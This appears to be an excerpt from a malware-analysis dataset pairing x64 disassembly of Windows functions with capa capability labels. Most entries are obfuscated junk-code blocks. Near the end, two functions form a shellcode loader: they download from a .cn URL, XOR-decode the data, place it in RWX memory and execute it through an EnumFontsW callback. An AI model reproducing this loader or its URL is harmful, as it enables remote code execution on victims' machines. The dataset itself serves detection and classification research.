joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400fade0
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400fae10
xor eax, eax
jmp 0x1400faed3
mov rbp, rbx
cmp word [rax], si
je 0x1400fae35
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400fae1c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400fae18
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400f707c
movsxd r14, eax
test eax, eax
jne 0x1400fae73
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400fae09
mov rcx, r14
call fcn.1400f38c8
mov rdi, rax
test rax, rax
jne 0x1400fae8c
xor ecx, ecx
call fcn.1400f26a0
jmp 0x1400fae68
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400f707c
test eax, eax
jne 0x1400faebd
mov rcx, rdi
call fcn.1400f26a0
jmp 0x1400faec7
xor ecx, ecx
call fcn.1400f26a0
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1400faef0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400faf77
mov rsi, rbx
cmp word [rax], bp
je 0x1400faf36
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400faf20
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400faf1c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400f38c8
mov rdi, rax
test rax, rax
je 0x1400faf64
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400d5a90
mov rbp, rdi
xor ecx, ecx
call fcn.1400f26a0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14002f7db
Capabilities:
Hash data using murmur3

Disassembly:
push rax
pushf
mov eax, 0x5dedd8f5
pushf
not eax
add eax, 0xe673e373
xor eax, 0xabccc99b
rol eax, 0xa
popf
pushf
not eax
add eax, 0xf9cec511
xor eax, 0xba344c7a
rol eax, 0xda
popf
pushf
not eax
add eax, 0xc6ce34db
xor eax, 0xe0fc0757
rol eax, 0x96
popf
popf
pop rax
jmp 0x14002fc89
mov eax, 0xd182ec24
pushf
not eax
add eax, 0x832a3cd7
xor eax, 0xfb73805f
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x848f0bae
xor eax, 0xde2c9c9b
rol eax, 0x5c
popf
pushf
not eax
add eax, 0x95110d21
xor eax, 0xa7d4b9c3
rol eax, 0xd9
popf
push rax
pushf
mov eax, 0x652b560c
pushf
not eax
add eax, 0xd0061f32
xor eax, 0x8332a194
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xe0620509
xor eax, 0x9ee477ed
rol eax, 0xd5
popf
pushf
not eax
add eax, 0x83b4a6e4
xor eax, 0xe34e4664
rol eax, 0xf2
popf
jmp 0x14002f81c
Function at 0x1400325a5
Capabilities:
Authenticate hmac
Encrypt data using speck

Disassembly:
push rax
pushf
mov eax, 0xb7ac6285
pushf
not eax
add eax, 0x913cc20b
xor eax, 0xac6622ba
rol eax, 0xac
popf
pushf
not eax
add eax, 0xe89b8eae
xor eax, 0x8c13b980
rol eax, 0x13
popf
pushf
not eax
add eax, 0xf6ca05a0
xor eax, 0x9ab772d3
rol eax, 0x28
popf
pushf
not eax
add eax, 0xe02bd776
xor eax, 0xf13faa5b
rol eax, 0x3e
popf
popf
pop rax
jmp 0x14003296f

Function at 0x14003356c
Capabilities:
Authenticate hmac

Disassembly:
push rax
pushf
mov eax, 0xb4734bc6
pushf
not eax
add eax, 0x9b06bc73
xor eax, 0xc7cc7ded
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xefded95a
xor eax, 0xd9ee0547
rol eax, 0x95
popf
popf
pop rax
jmp 0x140034ede
lea rcx, [rbp - 8]
call fcn.14006b52b
push rax
pushf
mov eax, 0x8bb36547
pushf
not eax
add eax, 0xb29c2660
xor eax, 0x91f25b27
rol eax, 0x1e
popf
pushf
not eax
add eax, 0x81e54ead
xor eax, 0x941ea849
rol eax, 0x5f
popf
jmp 0x14003359a
Function at 0x140049c87
Capabilities:
Encrypt data using speck

Disassembly:
push rax
pushf
mov eax, 0xc41c0273
pushf
not eax
add eax, 0xd69555b9
xor eax, 0xf626b36b
rol eax, 0x36
popf
pushf
not eax
add eax, 0x9d37e011
xor eax, 0xc6f6e8c4
rol eax, 0x43
popf
pushf
not eax
add eax, 0xa4a6a142
xor eax, 0xe8659a5f
rol eax, 0x22
popf
cmp eax, 4
jne 0x140049cd7
popf
pop rax
jmp 0x140049f24
cmp eax, 0
jne 0x140049ce6
popf
pop rax
jmp 0x140049d13
cmp eax, 3
jne 0x140049cf5
popf
pop rax
jmp 0x140049e7b
cmp eax, 1
jne 0x140049d04
popf
pop rax
jmp 0x140049dbc
cmp eax, 2
jne 0x140049d13
popf
pop rax
jmp 0x140049e71
mov rdx, qword [rcx + 0x10]
cmp rdx, qword [rcx + 8]
jae 0x140049d76
push rax
pushf
mov eax, 0xad604a5a
pushf
not eax
add eax, 0xa7c33198
xor eax, 0x8da95e97
rol eax, 0xa9
popf
pushf
not eax
add eax, 0x94bf29f4
xor eax, 0xd36921d8
rol eax, 0xce
popf
pushf
not eax
add eax, 0xe86c475c
xor eax, 0x96455c22
rol eax, 0x78
popf
pushf
not eax
add eax, 0x8fced432
xor eax, 0x9f1163ca
rol eax, 0xc8
popf
jmp 0x140049cc8
push rax
pushf
mov eax, 0x3867b1b2
pushf
not eax
add eax, 0x971483d6
xor eax, 0xbe2fb63b
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xedd35ea4
xor eax, 0x97e5ea1f
rol eax, 0x47
popf
pushf
not eax
add eax, 0xde6e1f2a
xor eax, 0xc700e045
rol eax, 0x2e
popf
jmp 0x140049cc8
mov rax, qword [rcx]
movzx eax, byte [rax + rdx]
inc rdx
mov qword [rcx + 0x10], rdx
lea ecx, [rax - 0x41]
cmp cl, 0x1a
jae 0x140049e2b
push rax
pushf
mov eax, 0xb5d0a6df
pushf
not eax
add eax, 0xbe1dcd55
xor eax, 0xddc61f74
rol eax, 0x60
popf
pushf
not eax
add eax, 0x87534e3d
xor eax, 0xa82f3d12
rol eax, 0x97
popf
pushf
not eax
add eax, 0x81838df4
xor eax, 0xdf58b0a1
rol eax, 0x60
popf
pushf
not eax
add eax, 0x86cc51e3
xor eax, 0xd21e26e4
rol eax, 0x49
popf
jmp 0x140049cc8
push rax
pushf
mov eax, 0x781245a7
pushf
not eax
add eax, 0xf34ef827
xor eax, 0xf1cf6731
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xcadf7723
xor eax, 0xfd2ac452
rol eax, 0x62
popf
pushf
not eax
add eax, 0x98027ae1
xor eax, 0xe19ce463
rol eax, 0x37
popf
jmp 0x140049cc8
xor ecx, ecx
shl rax, 0x20
or rax, rcx
ret
mov ecx, 0x9707a4e
pushf
not ecx
add ecx, 0xb1dc4e7a
xor ecx, 0xde485f5c
rol ecx, 0x52
popf
pushf
not ecx
add ecx, 0xca830cd3
xor ecx, 0xa7874e33
rol ecx, 0x22
popf
pushf
not ecx
add ecx, 0xbbc62dc5
xor ecx, 0xfcfced05
rol ecx, 0xd6
popf
pushf
not ecx
add ecx, 0x9137bf17
xor ecx, 0xd5e2ceeb
rol ecx, 0x6d
popf
xor eax, eax
shl rax, 0x20
or rax, rcx
ret
add al, 0x85
xor edx, edx
xor ecx, ecx
cmp al, 0xe6
setb cl
mov eax, 0xd4a9d536
pushf
not eax
add eax, 0x9ffef63e
xor eax, 0xa605d245
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xb38697d0
xor eax, 0xbd2a2890
rol eax, 0x84
popf
pushf
not eax
add eax, 0xc19adcaa
xor eax, 0xc242fd7c
rol eax, 0x7a
popf
cmovb rax, rdx
shl rax, 0x20
or rax, rcx
ret
Function at 0x140056177
Capabilities:
Encrypt data using speck

Disassembly:
push rax
pushf
mov eax, 0x953f894a
pushf
not eax
add eax, 0xcc23bf7f
xor eax, 0xa203d20c
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xa46e8229
xor eax, 0x8aae24c7
rol eax, 0x20
popf
pushf
not eax
add eax, 0xa8c12695
xor eax, 0x94485b4e
rol eax, 0xcc
popf
pushf
not eax
add eax, 0x812c73f4
xor eax, 0x82d2c782
rol eax, 0xe8
popf
popf
pop rax
jmp 0x1400574ac
lea rax, [0x1afe3fa14]
pushf
sub rax, 0x6fe2269c
popf
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
lea rax, [0x1b3ce20ac]
pushf
sub rax, 0x73cc6c44
popf
mov qword [rbp - 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
lea rdx, [0x1b664ef6c]
pushf
sub rdx, 0x76631be4
popf
lea rcx, [rbp - 0x30]
call fcn.1400e60ef
ud2

Function at 0x140057aea
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
push rax
pushf
mov eax, 0xfb395b92
pushf
not eax
add eax, 0xe92b7129
xor eax, 0xbff9bc2c
rol eax, 0x80
popf
pushf
not eax
add eax, 0xd3404562
xor eax, 0xe019ff63
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xa3ac0da3
xor eax, 0x95d95979
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xb38b6a4b
xor eax, 0xb2ff10ef
rol eax, 0xf
popf
popf
pop rax
jmp 0x140059508
Function at 0x140069d9e
Capabilities:
Encrypt data using speck

Disassembly:
push rax
pushf
mov eax, 0xa443068f
pushf
not eax
add eax, 0xe1f8388f
xor eax, 0xf87a08a6
rol eax, 0x22
popf
pushf
not eax
add eax, 0x9eff3352
xor eax, 0x87c24dea
rol eax, 0x1c
popf
popf
pop rax
jmp 0x14006a20e
cmp r8, 0x201
jae 0x14006a25d
push rax
pushf
mov eax, 0x1441bde
pushf
not eax
add eax, 0x883cc681
xor eax, 0x9aba9df7
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x80fcd27e
xor eax, 0x8d19e5a1
rol eax, 0xca
popf
pushf
not eax
add eax, 0x8a224524
xor eax, 0x90d6da11
rol eax, 0xb0
popf
jmp 0x140069dcc
push rax
pushf
mov eax, 0x38b2a5b5
pushf
not eax
add eax, 0xd51622d0
xor eax, 0xe2a57609
rol eax, 0x86
popf
pushf
not eax
add eax, 0xce77848f
xor eax, 0xbdee2329
rol eax, 0x61
popf
pushf
not eax
add eax, 0x80db1ea7
xor eax, 0xe0844707
rol eax, 0x39
popf
pushf
not eax
add eax, 0x85a582e6
xor eax, 0xc7e93fa3
rol eax, 0xe1
popf
jmp 0x140069dcc
Function at 0x14007b1a1
Capabilities:
Authenticate hmac
Encrypt data using speck

Disassembly:
push rax
pushf
mov eax, 0xde3b755c
pushf
not eax
add eax, 0xb1369a85
xor eax, 0xa49dfa9e
rol eax, 0xa
popf
pushf
not eax
add eax, 0x8053b411
xor eax, 0x8beb36bb
rol eax, 0x62
popf
pushf
not eax
add eax, 0xd52eaf59
xor eax, 0xc335d41c
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xddb7b1f7
xor eax, 0xfeded8ad
rol eax, 0x43
popf
cmp eax, 0
jne 0x14007b204
popf
pop rax
jmp 0x14007b204
mov rax, rdx
mov rdx, rcx
mov rcx, r8
mov r8, rax
jmp fcn.14003e67c
Function at 0x1400b6e8e
Capabilities:
Hash data using murmur3

Disassembly:
push rax
pushf
mov eax, 0xe459fd78
pushf
not eax
add eax, 0x8a5a5d58
xor eax, 0xdb42d8ae
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xa9a9fe5c
xor eax, 0xe3b4f43e
rol eax, 0x6c
popf
popf
pop rax
jmp 0x1400b826b
lea r8, [0x1ad597385]
pushf
sub r8, 0x6d57a48d
popf
mov edx, 0x3629c10
pushf
not edx
add edx, 0xe1899d73
xor edx, 0x86020935
rol edx, 0xd1
popf
pushf
not edx
add edx, 0x8bce15af
xor edx, 0xd21a08a4
rol edx, 0
popf
pushf
not edx
add edx, 0xc8ec59d3
xor edx, 0xd5fcd843
rol edx, 0x27
popf
pushf
not edx
add edx, 0x95b3109b
xor edx, 0x8898f735
rol edx, 0x99
popf
mov rcx, 0xffffffffffffffff
call fcn.1400b861d
ud2

Function at 0x1400bdb35
Capabilities:
Authenticate hmac
Encrypt data using speck

Disassembly:
push rax
pushf
mov eax, 0xa4ca1e91
pushf
not eax
add eax, 0xd4152938
xor eax, 0xa8211135
rol eax, 0xa
popf
pushf
not eax
add eax, 0x8f8e0a31
xor eax, 0xf17ca015
rol eax, 0xe7
popf
pushf
not eax
add eax, 0x850a4122
xor eax, 0xe3cebb93
rol eax, 0x47
popf
pushf
not eax
add eax, 0xe38e7f77
xor eax, 0x8a4bbc9e
rol eax, 0x6a
popf
cmp eax, 0
jne 0x1400bdb98
popf
pop rax
jmp 0x1400bdb98
mov r8, rdx
mov rax, qword [rcx + 0x20]
mov rdx, qword [rcx + 0x28]
mov rcx, rax
jmp fcn.14005030c
Function at 0x1400dfde1
Capabilities:
Authenticate hmac

Disassembly:
push rax
pushf
mov eax, 0xe646d785
pushf
not eax
add eax, 0xcf61d170
xor eax, 0xa273f4d4
rol eax, 0x5c
popf
pushf
not eax
add eax, 0x93ffca2d
xor eax, 0xcb8b77e4
rol eax, 0x30
popf
pushf
not eax
add eax, 0xcdf32392
xor eax, 0xe565a7b6
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xf4c8d8f7
xor eax, 0xee6a7262
rol eax, 0x52
popf
cmp eax, 4
jne 0x1400dfe44
popf
pop rax
jmp 0x1400e009b
cmp eax, 0
jne 0x1400dfe53
popf
pop rax
jmp 0x1400dfe8f
cmp eax, 3
jne 0x1400dfe62
popf
pop rax
jmp 0x1400e0029
cmp eax, 1
jne 0x1400dfe71
popf
pop rax
jmp 0x1400dff3b
cmp eax, 5
jne 0x1400dfe80
popf
pop rax
jmp 0x1400e00f6
cmp eax, 2
jne 0x1400dfe8f
popf
pop rax
jmp 0x1400e0024
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, r9
mov r14, rdx
mov rbx, rcx
mov rdi, qword [rsp + 0x70]
cmp r8d, 0x110000
je 0x1400dfef5
push rax
pushf
mov eax, 0xaf485420
pushf
not eax
add eax, 0xb40a26ee
xor eax, 0x861c005c
rol eax, 0x8e
popf
pushf
not eax
add eax, 0x836774e3
xor eax, 0xfd33ab6d
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xb39e8ab4
xor eax, 0xd45796c3
rol eax, 3
popf
jmp 0x1400dfe35
push rax
pushf
mov eax, 0xfe3d5d05
pushf
not eax
add eax, 0x8c72f1f1
xor eax, 0xe9ad63ec
rol eax, 0x36
popf
pushf
not eax
add eax, 0xba94613b
xor eax, 0xc9fc58a6
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xe65fbaa0
xor eax, 0xd53221bc
rol eax, 0xbb
popf
jmp 0x1400dfe35
mov rcx, rbx
mov edx, r8d
call qword [r14 + 0x20]
mov ecx, eax
mov al, 0x60
pushf
not al
add al, 0xe
xor al, 0xd1
rol al, 1
popf
pushf
not al
add al, 0xb5
xor al, 0xb6
rol al, 0x10
popf
pushf
not al
add al, 0x98
xor al, 0xcd
rol al, 0x6a
popf
test cl, cl
jne 0x1400dffcb
push rax
pushf
mov eax, 0x9f8aca4b
pushf
not eax
add eax, 0xfa92665c
xor eax, 0x8e118978
rol eax, 1
popf
pushf
not eax
add eax, 0xa97f8ffa
xor eax, 0xcea5c3d1
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xf6640242
xor eax, 0xf0cadedd
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xc846e0f8
xor eax, 0xce675082
rol eax, 0x60
popf
jmp 0x1400dfe35
push rax
pushf
mov eax, 0xfa67d052
pushf
not eax
add eax, 0xcebf774b
xor eax, 0xdbe811f9
rol eax, 0xb8
popf
pushf
not eax
add eax, 0x935ac002
xor eax, 0x84b99071
rol eax, 0x30
popf
pushf
not eax
add eax, 0xeb056f82
xor eax, 0xbf3e065b
rol eax, 0x19
popf
pushf
not eax
add eax, 0x92526828
xor eax, 0xe8867f3a
rol eax, 0x9c
popf
jmp 0x1400dfe35
test rsi, rsi
je 0x1400e009b
mov rax, qword [r14 + 0x18]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp rax
xor eax, eax
push rax
pushf
mov eax, 0xf6631f5f
pushf
not eax
add eax, 0xd1322d63
xor eax, 0x8a1cbe06
rol eax, 0xba
popf
pushf
not eax
add eax, 0x822a39b8
xor eax, 0xaf39b8f6
rol eax, 0x26
popf
pushf
not eax
add eax, 0x8badce1b
xor eax, 0xfc1d798e
rol eax, 0xae
popf
pushf
not eax
add eax, 0xd42b2d4e
xor eax, 0xc70a115c
rol eax, 0x8d
popf
jmp 0x1400dfe35
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x1400014c0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
mov rbp, rsp
sub rsp, 0x80
mov qword [rbp - 0x48], 0xfffffffffffffffe
mov qword [rsp + 0xb8], rbx
mov rdi, rdx
mov rbx, rcx
xor r13d, r13d
mov dword [rbp + 0x48], r13d
mov qword [rcx], r13
mov qword [rcx + 8], r13
mov qword [rcx + 0x10], r13
mov dword [rbp + 0x48], 1
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea edx, [r13 + 1]
lea rcx, str.huorong
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r12, rax
test rax, rax
jne 0x14000155d
lea rax, str.Failed_to_open_internet_connection.
mov qword [rbp - 0x50], rax
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x40]
call fcn.140001f04
lea r11, vtable.std::runtime_error.0
mov qword [rbp - 0x40], r11
lea rdx, [0x14000ec20]
lea rcx, [rbp - 0x40]
call fcn.1400027f8
int3
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rsi, rax
test rax, rax
jne 0x1400015c1
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea r11, str.Failed_to_open_URL.
mov qword [rbp - 0x50], r11
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x40]
call fcn.140001f04
lea r11, vtable.std::runtime_error.0
mov qword [rbp - 0x40], r11
lea rdx, [0x14000ec20]
lea rcx, [rbp - 0x40]
call fcn.1400027f8
int3
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], r13
lea rcx, [rbp - 0x28]
call fcn.1400018d0
nop
mov dword [rbp + 0x40], r13d
mov r13, qword [rbp - 0x20]
mov rdi, qword [rbp - 0x28]
sub r13, rdi
lea r9, [rbp + 0x40]
mov r8d, r13d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001631
nop dword [rax]
mov eax, dword [rbp + 0x40]
test eax, eax
je 0x140001638
lea r9, [rdi + rax]
mov r8, rdi
mov rdx, qword [rbx + 8]
mov rcx, rbx
call fcn.140001ab0
lea r9, [rbp + 0x40]
mov r8d, r13d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001600
mov eax, dword [rbp + 0x40]
test eax, eax
jne 0x14000168d
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x14000168d
cmp eax, 0x12
je 0x14000168d
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea r11, str.Failed_to_read_file_content.
mov qword [rbp - 0x50], r11
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x40]
call fcn.140001f04
lea r11, vtable.std::runtime_error.0
mov qword [rbp - 0x40], r11
lea rdx, [0x14000ec20]
lea rcx, [rbp - 0x40]
call fcn.1400027f8
int3
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
test rdi, rdi
je 0x1400016ad
mov rcx, rdi
call fcn.140002540
mov rax, rbx
mov rbx, qword [rsp + 0xb8]
add rsp, 0x80
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001700
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function

Disassembly:
mov r11, rsp
sub rsp, 0x88
mov rax, qword [str.http:__ujzadne.cn_360dsb.jpg]
mov ecx, 0x1f4
mov qword [r11 - 0x48], rax
mov rax, qword [0x14000d7e8]
mov qword [r11 - 0x40], rax
mov rax, qword [0x14000d7f0]
mov qword [r11 - 0x38], rax
mov rax, qword [0x14000d7f8]
mov qword [r11 - 0x30], rax
mov rax, qword [0x14000d800]
mov qword [r11 - 0x28], rax
mov rax, qword [0x14000d808]
mov qword [r11 - 0x20], rax
mov rax, qword [0x14000d810]
mov qword [r11 - 0x18], rax
movzx eax, word [0x14000d818]
mov word [rsp + 0x78], ax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1400014c0
mov r11, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
cmp r11, rdx
je 0x140001880
mov qword [rsp + 0x90], rbx
xor ebx, ebx
mov r9d, ebx
mov r8d, ebx
mov r10d, ebx
cmp rdx, r11
je 0x14000182d
mov qword [rsp + 0x80], rdi
lea rdi, str.hrsgdsb
nop dword [rax + rax]
movsx ecx, byte [r8 + rdi]
mov eax, 0x4ac525d3
inc r8
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x92492493
imul edx, edx, 0x6d9
sub ecx, edx
imul r9d
add cl, 0x4f
xor byte [r10 + r11], cl
mov r11, qword [rsp + 0x20]
add edx, r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
cmp r9d, edx
mov rdx, qword [rsp + 0x28]
cmove r8, rbx
inc r9d
mov rcx, rdx
sub rcx, r11
movsxd rax, r9d
inc r10
cmp rax, rcx
jb 0x1400017c0
mov rdi, qword [rsp + 0x80]
xor ecx, ecx
sub rdx, r11
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x20]
sub r8, rdx
mov rcx, rax
mov rbx, rax
call fcn.140002000
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor r9d, r9d
mov r8, rbx
mov rcx, rax
xor edx, edx
call qword [sym.imp.GDI32.dll_EnumFontsW]
mov r11, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x90]
test r11, r11
je 0x14000188d
mov rcx, r11
call fcn.140002540
xor eax, eax
add rsp, 0x88
ret

Function at 0x140003ee0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140003d50
Function at 0x140006f50
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140010f70]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14000366c
xor ebx, ebx
cmp qword [0x140012058], rbx
mov rdi, rax
jne 0x140007063
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14000713a
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000713a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140012058], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140012060], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140012068], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140012078], rax
test rax, rax
je 0x14000705a
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140012070], rax
jmp 0x14000706a
mov rax, qword [0x140012070]
jmp 0x140007071
mov rax, qword [0x140012070]
mov r11, qword [0x140012078]
cmp rax, rdi
je 0x1400070d8
cmp r11, rdi
je 0x1400070d8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140012078]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x1400070d8
test rax, rax
je 0x1400070d8
call rsi
test rax, rax
je 0x1400070d2
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400070d2
test byte [rsp + 0x40], 1
jne 0x1400070d8
bts ebp, 0x15
jmp 0x140007118
mov rcx, qword [0x140012060]
cmp rcx, rdi
je 0x140007118
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140007118
call rax
mov rbx, rax
test rax, rax
je 0x140007118
mov rcx, qword [0x140012068]
cmp rcx, rdi
je 0x140007118
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140007118
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140012058]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000713a
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14000713c
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140005c70
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140007487
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140010f70]
jne 0x140005c8a
rol rcx, 0x10
test cx, 0xffff
jne 0x140005c86
repz ret
ror rcx, 0x10
jmp 0x1400073e0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140012120]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140012218]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140007465
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140012120]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140007487
mov rax, qword [rsp + 0x88]
mov qword [0x140012218], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400121b8], rax
mov rax, qword [0x140012218]
mov qword [0x140012090], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400121a0], rax
mov dword [0x140012080], 0xc0000409
mov dword [0x140012084], 1
mov rax, qword [0x140010f70]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140010f78]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
